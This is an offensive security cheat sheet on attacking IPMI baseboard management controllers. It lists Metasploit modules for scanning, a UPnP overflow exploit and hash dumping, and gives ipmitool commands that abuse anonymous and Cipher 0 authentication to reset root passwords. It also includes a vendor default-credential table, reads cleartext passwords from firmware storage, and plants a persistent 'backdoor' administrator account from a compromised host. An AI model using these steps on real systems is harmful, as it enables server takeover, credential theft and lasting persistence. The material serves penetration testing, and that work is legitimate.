by Enumeration
# Metasploit
msfconsole
use auxiliary/scanner/ipmi/ipmi_version
# nmap Scan
nmap -sU --script ipmi-version -p 623 $IPVulnerability – Supermicro IPMI UPnP
Supermicro includes a UPnP SSDP listener running on UDP port 1900 on the IPMI firmware of many of its recent motherboards. On versions prior to SMT_X9_218 this service was running the Intel SDK for UPnP Devices, version 1.3.1. This version is vulnerable to the issues Rapid7 disclosed in February of 2013, and an exploit target for this platform is part of the Metasploit Framework. The interesting thing about this attack is that it yields complete root access to the BMC, something that is otherwise difficult to obtain. Keep in mind than an attacker with administrative access, either over the network or from a root shell on the host system, can downgrade the firmware of a Supermicro BMC to a vulnerable version and then exploit it. Once root access is obtained, it is possible to read cleartext credentials from the file system, install additional software, and integrate permanent backdoors into the BMC that would survive a full reinstall of the host’s operating system.
# Metasploit
msfconsole
msf> use exploit/multi/upnp/libupnp_ssdp_overflowVulnerability – IPMI Anonymous Authentication
In addition to the authentication problems above, Dan Farmer noted that many BMCs ship with “anonymous” access enabled by default. This is configured by setting the username of the first user account to a null string and setting a null password to match. The ipmi_dumphashes module will identify and dump the password hashes (including blank passwords) for null user accounts. This account can be difficult to use on its own, but we can leverage ipmitool to reset the password of a named user account and leverage that account for access to other services:
ipmitool -I lanplus -H $IP -U '' -P '' user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 false false true ADMINISTRATOR
2 root false false true ADMINISTRATOR
3 admin true true true ADMINISTRATOR
ipmitool -I lanplus -H $IP -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword"Brute Force
Note that only HP randomizes the password during the manufacturing process.
| Product Name | Default Username | Default Password |
| HP Integrated Lights Out (iLO) | Administrator | [factory randomized 8-character string] |
| Dell Remote Access Card (iDRAC, DRAC) | root | calvin |
| IBM Integrated Management Module (IMM) | USERID | PASSW0RD (with a zero) |
| Fujitsu Integrated Remote Management Controller | admin | admin |
| Supermicro IPMI (2.0) | ADMIN | ADMIN |
| Oracle/Sun Integrated Lights Out Manager (ILOM) | root | changeme |
| ASUS iKVM BMC | admin | admin |
Vulnerability – IPMI Authentication Bypass via Cipher 0
Dan Farmer identified a serious failing of the IPMI 2.0 specification,
# Metasploit
msfconsole
use auxiliary/scanner/ipmi/ipmi_cipher_zero
apt-get install ipmitool #InstallUsing -C 0 any password is accepted
#Use Cipher 0 to dump a list of users
ipmitool -I lanplus -C 0 -H $IP -U root -P root user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 root true true true ADMINISTRATOR
3 Oper1 true true true ADMINISTRATOR
#Change the password of root
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 Vulnerability – IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval
Basically, you can ask the server for the a salted hashed MD5 and SHA1 of any username and if the username exists those hashes will be sent back. Yeah, as amazing as it sounds. And there is a metasploit module for testing this (you can select the output in John or Hashcat format):
# Metasploit
msfconsole
msf > use auxiliary/scanner/ipmi/ipmi_dumphashesNote that for this you only need a list of usernames to brute-force (metasploit already contains one with default usernames).
Using ipmitoolbypassing authentication (-c 0) to change the root password to abc123:
root@kali:~# apt-get install ipmitool
root@kali:~# ipmitool -I lanplus -C 0 -H $IP -U root -P root user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 root true true true ADMINISTRATOR
3 Oper1 true true true ADMINISTRATOR
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123Vulnerability – Supermicro IPMI Clear-text Passwords
The IPMI 2.0 specification mandates that the BMC respond to HMAC-based authentication methods such as SHA1 and MD5. This authentication process has some serious weaknesses, as demonstrated in previous examples, but also requires access to the clear-text password in order to calculate the authentication hash. This means that the BMC must store a clear-text version of all configured user passwords somewhere in non-volatile storage. In the case of Supermicro, this location changes between firmware versions, but is either /nv/PSBlock or /nv/PSStore. The passwords are scattered between various binary blobs, but easy to pick out as they always follow the username. This is a serious issue for any organization that uses shared passwords between BMCs or even different types of devices.
cat /nv/PSBlockadmin
ADMINpassword^TT rootOtherPassword!Exploiting the Host from the BMC
Once administrative access to the BMC is obtained, there are a number of methods available that can be used to gain access to the host operating system. The most direct path is to abuse the BMCs KVM functionality and reboot the host to a root shell (init=/bin/sh in GRUB) or specify a rescue disk as a virtual CD-ROM and boot to that. Once raw access to the host’s disk is obtained, it is trivial to introduce a backdoor, copy data from the hard drive, or generally do anything needing doing as part of the security assessment. The big downside, of course, is that the host has to be rebooted to use this method. Gaining access to the host running is much trickier and depends on what the host is running. If the physical console of the host is left logged in, it becomes trivial to hijack this using the built-in KVM functionality. The same applies to serial consoles – if the serial port is connected to an authenticated session, the BMC may allow this port to be hijacked using the ipmitool interface for serial-over-LAN (sol). One path that still needs more research is abusing access to shared hardware, such as the i2c bus and the Super I/O chip.
Exploiting the BMC from the Host
In situations where a host with a BMC has been compromised, the local interface to the BMC can be used to introduce a backdoor user account, and from there establish a permanent foothold on the server. This attack requires the ipmitool to be installed on the host and driver support to be enabled for the BMC. The example below demonstrates how the local interface on the host, which does not require authentication, can be used to inject a new user account into the BMC. This method is universal across Linux, Windows, BSD, and even DOS targets.
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATORI’m a backdoor man